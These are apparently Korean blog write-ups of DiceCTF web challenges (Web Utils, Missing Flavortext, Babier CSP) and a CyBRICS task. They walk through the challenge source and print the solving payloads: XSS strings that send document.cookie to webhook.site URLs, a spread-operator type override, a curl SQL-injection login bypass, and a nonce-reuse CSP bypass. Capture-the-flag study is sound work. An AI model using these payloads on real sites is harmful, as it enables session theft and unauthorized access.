앞서 해당사이트의 전체적인 흐름을 확인하였고  이제 소스코드의 어떤부분을 어떻게 공략해야될지 생각해보아야 한다.

대회 당시에는 Pastebin에 script 구문을 만들어 넣으면 될거 같아 보였지만 효과가 없었다.

나중에야 알았지만 이런식으로 직접적으로 페이로드를 입력한다고 바로 풀리는 문제가 아니었다.

 

보지 않았던 view.html페이지를 살펴보자

<!doctype html>
<html>
<head>
  <script async>
    (async () => {
      //uid 출력
      const id = window.location.pathname.split('/')[2];
      
      //uid가 없을 경우
      if (! id) window.location = window.origin;
      
      //{statusCode : 200, data : 123, type : paste}
      const res = await fetch(`${window.origin}/api/data/${id}`);
      
      //data와 type값을 받음
      const { data, type } = await res.json();
      
      //data 값이 제대로 있지 않을 경우
      if (! data || ! type ) window.location = window.origin;
      
      //type이 link일 경우 data 값 주소로 이동
      if (type === 'link') return window.location = data;
      
      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;
    })()
  </script>
</head>
<body>
  <div style="font-family: monospace"></div>
</bod>
</html>

 

이 중에서 'type이 link일 경우' 주석이 달린 부분을 살펴 보면 data 값을 이용한다면 XSS를 사용이 가능 할듯 싶다.

여기서 우리가 만족시켜야되는 것을 type을 link로 data 값을 XSS 구문으로 만들어야한다.

 

data값 -> XSS 구문

type값 -> link

 

XSS구문을 아래와 같이 webhook을 사용하여 작성하였다.

javascript:document.location='https://webhook.site/#!/3e87b4ab-2e7b-49b3-b36c-9d52819a1946?c='+document.cookie

 

다음으로 type값을 link로 맞춰 줘야한다.

      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;

 

앞서 살펴보았던 api/createLink 부분에서 type이 link로 변한다. 

fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

 

 

database.appData 구문을 살펴보면 type이 링크로 변하는 것을 확인할수 있다.

 

앞서 코드 분석이 이루어졌을때 api/pastebin과 코드가 굉장히 유사하다고 하였다.

fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

 

이곳에도 database.appData 구문이 존재한다.

database.addData({ type: 'paste', ...req.body, uid });

여기서 주의해서 봐야되는게 2번째 인자다.

 

'...'은 JS의 스프레드 연산자인데 이걸 사용하면 아래와 같이 앞에 인자를 덮어 씌울 수가 있게된다.

두번째 인자를 사용하여 req 패킷의 body부분에 위에 작성한 페이로드에 type=link를 추가하고 삽입해주면 

문제가 풀리게 된다.

 

최종 페이로드

{"data":"javascript:location.href=https://webhook.site/a6268581-7ae5-4be4-8fd3-a4f16744d829?c='
+document.cookie;","type" : "link"}

 

 

 

이렇게 문제가 풀린다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Challenge > CTF' 카테고리의 다른 글

[Intent CTF] Door (un)Locked  (0) 2021.11.22
[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
[DiceCTF] web/Babier CSP  (0) 2021.02.09

 

내 친구가 이 부족한 툴을 만들었다; 쿠키 값을 훔칠수 있겠어? 링크를 보내주면 내가 전달할수 있어.

 

this dumb tool

툴이라고 소개된 url로 접속하게 되면 2가지 기능을 마주하게 된다.

- Link Shortener

직역하면 링크 단축키라고 한다. 

URL 풀주소를 입력해주면 web-utils.dicec.tf를 도메인으로 사용하는 URL주소를 건네준다.

 

ex) http://www.google.com -> http://web-utils.dicec.tf/~~

실제로 단축 주소를 입력해주면 해당 사이트로 이동하는 것을 확인 할수있다.

https://web-utils.dicec.tf/view/pEr848xN

 

- Pastebin

값을 입력하면 해당 데이터 값을 출력(?) 해주는 URL을 건네준다.

ex) test -> https://web-utils.dicec.tf/~~ 

마찬가지로 실제 단축 주소로 이동해보면 입력한 값을 그대로 출력해주는 페이지를 마주할 수 있다.

https://web-utils.dicec.tf/view/TRTO7I1W

 

 

I can pass it along

ravidusash.tistory.com/139

web/Babier CSP에서 나왔던 Admin Bot인 것 같다. URL을 입력해주면 Admin Bot 접속해주는 방식인 것 같다.

 

우리는 이 문제의 목표를 찾았다.

쿠키 값을 얻기 위해서 어떠한 URL 주소를 찾아내 입력해 주어야 한다.

 

다음으로 제공된 app.zip 파일을 열어 분석을 진행해 보았다.

아래는 dumb tool에 관한 구조이다.

-app
| + modules
|  - database.js
|
| + Public
|  - view
|  - style
|  - index
|  + pastes
|   - index (pastebin)
|   - script
|   - style
|  + links
|   - index (link shortener)
|   - script
|   - style
|
| + routes
|  - api
|  - view
|
| - Dockerfile
| - index.js (server)
| - package.jsaon

 

크게 server -> linkshortener -> pastebin 순으로 진행하겠다.

const fastify = require('fastify')();

const path = require('path');

fastify.register(require('fastify-static'), {
  root: path.join(__dirname, 'public'),
  redirect: true,
  prefix: '/'
});

fastify.register(require('./routes/api'), {
  prefix: '/api/'
});

fastify.register(require('./routes/view'), {
  prefix: '/view/'
});

const start = async () => {
  console.log(`listening on ${await fastify.listen(3000, '0.0.0.0')}`)
}

start()

index.js (server)의 코드이다.

코드를 통해 route를 사용하여 api, view를 정의한 것을 확인 할수 있다.

 

linkshortener와 pastebin을 확인하기 전에 route을 먼저 보도록 하겠다.

 

server -> route -> linkshortener -> pastebin

순서대로 api, view이다.

const database = require('../modules/database');

module.exports = async (fastify) => {
  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.get('data/:uid', {
    handler: (req, rep) => {
      if (!req.params.uid) {
        return;
      }
      const { data, type } = database.getData({ uid: req.params.uid });
      if (!data || !type) {
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'URL not found',
          });
      }
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data,
          type
        });
    }
  });
}
module.exports = async (fastify) => {
  fastify.get(':id', {
    handler: (req, rep) => {
      rep.sendFile('view.html');
    }
  })
}

 

route의 api 소스코드를 분석해보면  8개의 랜덤 값을 생성하는 것과 url이 https:// 로 시작되는지 확인하는 과정을 볼 수 있다.

당장은 눈에 보이는게 없어 이 정도 정보만 얻고 넘어가도록 하겠다.

 

server -> route-> linkshortener -> pastebin

 

Public/link/index.html

<!DOCTYPE html>
<html>
  <head>
    <title>Link Shortener</title>
    <link rel="stylesheet" href="style.css">
    <script src="script.js"></script>
  </head>
  <body>
    <div class="parent">
      <div class="content">
        <form id="url-form">
          <input id="url-input" type="text" placeholder="Link..." spellcheck="false"/>
          <input id="submit-button" type="submit" value="Shorten"/>
          <div id="output" class="display"></div>
        </form>
      </div>
    </div>
  </body>
</html>

html소스코드를 보고 script.js 분석이 필요하다고 느꼈다.

 

Public/link/script.js

(async () => {

  await new Promise((resolve) => {
    window.addEventListener('load', resolve);
  });

  document.getElementById('url-form').addEventListener('submit', async (e) => {
    e.preventDefault();
    const url = document.getElementById('url-input').value;
    const res = await (await fetch('/api/createLink', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        data: url
      })
    })).json();

    if (res.error) {
      return;
    }

    document.getElementById('output').textContent =
      `${window.origin}/view/${res.data}`
  });

})();

index.html에서 입력 받은 값을 api/createLink로 전달하여 특정 값을 전달 받는 것을 확인 할 수 있다.

아까 지나오면서 본 그 랜덤 8자리 값인 것으로 보인다.

 

server -> route-> linkshortener -> pastebin

 

Public/pastes/index.html

<!DOCTYPE html>
<html>
  <head>
    <title>Pastebin</title>
    <link rel="stylesheet" href="style.css">
    <script src="script.js"></script>
  </head>
  <body>
    <div class="parent">
      <div class="content">
        <form id="text-form">
          <textarea id="text-input" placeholder="Paste..." spellcheck="false" rows="5"></textarea>
          <input id="submit-button" type="submit" value="Shorten"/>
          <div id="output" class="display"></div>
        </form>
      </div>
    </div>
  </body>
</html>

마찬가지로 script.js를 확인해 보아야 할 것 같다.

 

(async () => {

  await new Promise((resolve) => {
    window.addEventListener('load', resolve);
  });

  document.getElementById('text-form').addEventListener('submit', async (e) => {
    e.preventDefault();
    const text = document.getElementById('text-input').value;
    const res = await (await fetch('/api/createPaste', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        data: text
      })
    })).json();

    if (res.error) {
      return;
    }

    document.getElementById('output').textContent =
      `${window.origin}/view/${res.data}`
  });

})();

같은 내용이다. index.html에서 받은 URL을 api/createPaste에 전달하여 값을 받는다. 가장 뒷부분에 사용되고 이는 아까 랜덤 값 8개라 지칭하였던 그 값이다.

 

위에서 살펴 봤던 route/api를 다시 한번 살펴봐야 될 것 같다.

server -> route-> linkshortener -> pastebin -> route

const database = require('../modules/database');

//linkshortener에서 사용됨
module.exports = async (fastify) => {
  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8); // 8자리의 랜덤 값을 뽑아냄(database.js 분석 결과)
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid }); 
      rep //랜덤한 8자리 값을 반환
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

//createPaste에서 사용됨
  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8); // 8자리의 랜덤 값을 뽑아냄
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.get('data/:uid', {
    handler: (req, rep) => {
      if (!req.params.uid) {
        return;
      }
      const { data, type } = database.getData({ uid: req.params.uid });
      if (!data || !type) {
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'URL not found',
          });
      }
      rep //랜덤한 8자리 값을 반환
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data,
          type
        });
    }
  });
}

server -> route-> linkshortener -> pastebin ->route -> modules

const Database = require('better-sqlite3')
const db = new Database('db.sqlite3')

const init = () => {
  db.prepare(`CREATE TABLE IF NOT EXISTS data(
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        uid TEXT,
        data TEXT,
        type TEXT
        );`).run();
}

init();

const statements = {
  getData: db.prepare(`SELECT data, type FROM data WHERE uid = ?;`),
  addData: db.prepare(`INSERT INTO data (uid, data, type) VALUES (?, ?, ?);`)
}

module.exports = {
  getData: ({ uid }) => { // 값 조회
    return statements.getData.get(uid);
  },
  addData: ({ uid, data, type }) => { // 값 추가
    statements.addData.run(uid, data, type);
  },
  generateUid: (length) => {// 값 8개 가챠
    const characters =
      'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    const arr = [];
    for (let i = 0; i < length; i++) {
      arr.push(
        characters.charAt(Math.floor(Math.random() * characters.length))
      );
    }
    return arr.join('');
  }
}

소스코드 분석을 통해 당장 얻을 수 있는 정보는 다 얻어냈다.

 

 

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
[DiceCTF] web/Babier CSP  (0) 2021.02.09
CYBRICS CAPTURE THE FLAG  (0) 2020.07.28

[DiceCTF]의 web/Babier CSP 문제를 Review 해보도록 하겠다.

직접 푼 문제는 아니고 대회 종료 후 writeup을 보면 풀어본 문제다.

 

로그인 기능을 구현한 웹페이지가 있었다.

아래는 순서대로 이페이지의 소스코드와 index.js의 소스 코드이다.

<!doctype html>
<html>
    <head>
        <link rel="stylesheet" href="/styles.css">
    </head>
    <body>
        <div>
          <h1>Login</h1>
          <form method="POST" action="/login">
            <label for="username">Username</label>
            <input name="username" type="text" id="username"/>
            <label for="username">Password</label>
            <input name="password" type="password" id="password"/>
            <input type="submit" value="Submit"/>
          </form>
        </div>
    </body>
</html>
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

 

index.js 소스코드 리딩을 통해 correct Login을 수행하여 flag.html을 얻는게 우리 목표인 것을 확인하였다.

소스코드를 리딩하기 전에 간단한 SQL injection들을 시도하여 원래 페이지로 리다이렉트 되는 것을 확인 할 수 있었고,

이는 index.js 코드에도 설정되어 있었다.

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

 

app.post에서 '가 통제되고 있는 것을 확인 할 수 있다.

(추가) 문자열을 검사하여 싱글쿼터의 존재 유무를 검사한다.

index.js 코드를 다시 보니 아래와 코드가 보였다.

app.use(bodyParser.urlencoded({ extended: true }));

bodyParser.urlencoded({         })); 

이는 중첩된 객체표현을 허락할지 말지 정할 때 사용된다.

이때 빈칸에 코드와 같이 extended: true가 기입되면 객체 안에 객체가 들어가는 걸 허용하게 된다.

 

qs library와 querystring library, 설정에 따라 사용하는 라이브러리가 달라지는데 더 자세한 점은 아래 stackoverflow를 참고하기 바란다.

stackoverflow.com/questions/29960764/what-does-extended-mean-in-express-4-0/45690436#45690436

 

우리는 'qs를 사용하여 쿼리 분석이 이루어 진다. qs는 쿼리 문자열에서 중첩 된 객체를 만든다' 라는 사실을 알 수 있다.

 

대략 이런식?
username[]='aaaa'&password[]='aaaa'

(추가)이게 문자열이 아니라 객체로 인식이 되어 버려서 필터링을 우회 할 수 있게 된다.

 

 

이 점을 이용해서 만들어진 페이로드는 아래와 같다.

curl -XPOST "https://missing-flavortext.dicec.tf/login" -d "username=admin&password[]=' OR 1=1 -- &password[]=\'"

이 페이로드를 사용하여 request를 보내면 아래와 같이 flag가 나온다.

 

 

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Babier CSP  (0) 2021.02.09
CYBRICS CAPTURE THE FLAG  (0) 2020.07.28

[DiceCTF]의 web/Babier CSP 문제를 Review 해보도록 하겠다.

 

CSP?

Content Security Policy

 

index.js 파일이 추가적으로 제공되었다.

먼저 babier-csp.dicec.tf로 접속하면 아래와 같은 페이지가 보인다.

 

 

파인애플, 오렌지 과일이름이 나열된다.

아래는 해당 페이지의 소스코드이다.

<html>

<h1>pineapple</h1>
<a href='#' id=elem>View Fruit</a>

<script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>

 

소스 코드를 보고 Html XSS가 가능할 것 같다고 생각했고 nonce 값이 눈에 확 들어왔다.

이 둘을 염두에 두고 추가적인 분석을 진행했다.

 

아래는 index.js의 코드이다.

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

 

여기서 주의 깊게 봐야 될 것은 nonce 값이다. 

const, 상수인 nonce가 base64로 인코딩되어 해시값을 가진다.

개발자는 nonce값을 이용해 XSS를 보안을 강화하려 한 것으로 추정된다.

그러나 코드를 유심히 살펴 보면 nonce값이 한번 생성된 후로 값에 변화가 없다는 사실을 알수 있다.

이 취약점을 이용하여 XSS를 수행해 보았다.

babier-csp.dicec.tf/?name=%3C/h1%3E%3Cscript%20nonce=g%2Bojjmb9xLfE%2B3j9PsP/Ig==%3Ealert(%27test%27)%3C/script%3E%3C!--

(+는 %2B로 해주어야 인식합니다.)

XSS test를 할때 사용한 페이로드이다.

그 결과 아래와 같이 XSS가 성공한 것을 확인 할 수 있다.

우리는 이제 마음껏 XSS를 터뜨릴 수 있게 되었다.

 

이제는 Admin Bot을 대상으로 진행해야 했다.

 

The admin will set a cookie secret equal to config.secret in index.js.

 

관리자는 쿠키가 index.js에서 secret과 config.secret이 같게 설정할 것이다.

 

위와 같은 페이지가 응답 한다.

우리는 요청을 통해 쿼리를 받아내야 하기에 서버가 필요하다.

서버를 설치하기는 너무 귀찮고 시간도 없어서 webhook.site를 사용하여 임의의 웹훅을 제공받았다.

이를 이용해 아래와 같은 페이로드를 작성하였다.

https://babier-csp.dicec.tf/?name=
</h1><script nonce="g+ojjmb9xLfE+3j9PsP/Ig==">
window.location = 
'https://webhook.site/5085a1ab-3ae7-4113-abcd-5dc78ba50611?c='%2bdocument.cookie
</script>

 

이를 통해 secret의 값을 얻을 수 있게 되었다.

url에 아래의 값을 입력해주면 flag가 나타나게 된다.

/4b36b1b8e47f761263796b1defd80745

 

굉장히 유익한 문제였다.

재미도 있고 문제 수준도 좋았다.

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
CYBRICS CAPTURE THE FLAG  (0) 2020.07.28

gmae rules? 를 들어가보면 CTF FLAG 형식을 알수 있으며 그곳에 FLAG가 있다. 그러나 그것은 Window UserAssist values와 같은 암호화 방식이 이루어져 있다고 설명되어져있다.

cybrics{Na5JRe_g0_G3u_Z1P_Pu3PX}

Window UserAssist values는 ROT-13으로 encryption 되dj있기에 ROT-13으로 decryption 해주면 된다.

 

cybrics{An5WEr_t0_T3h_M1C_Ch3CK}

 

http://109.233.57.94:54040/ 해당 URL로 들어가보면 굉장히 촐싹거리는 캡챠 들을 볼수 있다.

 

5개의 캡차들이 화면 전체를 쉬지 않고 돌아다닌다. 일정시간이 지난다면 캡챠가 만료되기도 한다.

그렇다면 시간안에 저 캡챠들을 어떻게 잡아야 될까? 직접 잡아야될까?

 

페이지 소스 보기를 하면 captcha 관련 코드를 확인 할수 있다.

 

 let dividerA = (Math.random() * 250) + 250;
    let dividerB = (Math.random() * 250) + 250;
    let dividerC = (Math.random() * 25) + 25;

    function loop() {
        const height = window.innerHeight - captchaBox.offsetHeight;
        captchaBox.style.top = Math.sin(Date.now()/dividerA) * (height/2) + (height/2);

        const width = window.innerWidth - captchaBox.offsetWidth;
        captchaBox.style.left = Math.sin(Date.now()/dividerB) * (width/2) + (width/2);

        captchaBox.style.transform = `rotate(${Math.sin(Date.now()/dividerC) * 10}deg)`;

        setTimeout(loop, 1);
    }
    loop();

이부분을 날리고 위에 부분만 살려두도록 하자

function addCaptcha() {
    const captchaBox = document.createElement('div');
    const widgetId = grecaptcha.render(captchaBox, {
        'sitekey' : '6Ld0sCEUAAAAAKu8flcnUdVb67kCEI_HYKSwXGHN',
        'theme' : 'light',
        'callback': 'good',
    });

    captchaBox.className = 'captcha';
    document.body.appendChild(captchaBox);

    count ++;
    updateStatus();
}

console 창에 addCaptcha함수를 계속해서 불러주면 문제를 해결할수 있다.

 

다른 매우 쉬운 방법이 있다. 그건 댓글남기시던가 하시면 알려 주겠다.

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Missing Flavortext  (0) 2021.02.16
[DiceCTF] web/Babier CSP  (0) 2021.02.09

+ Recent posts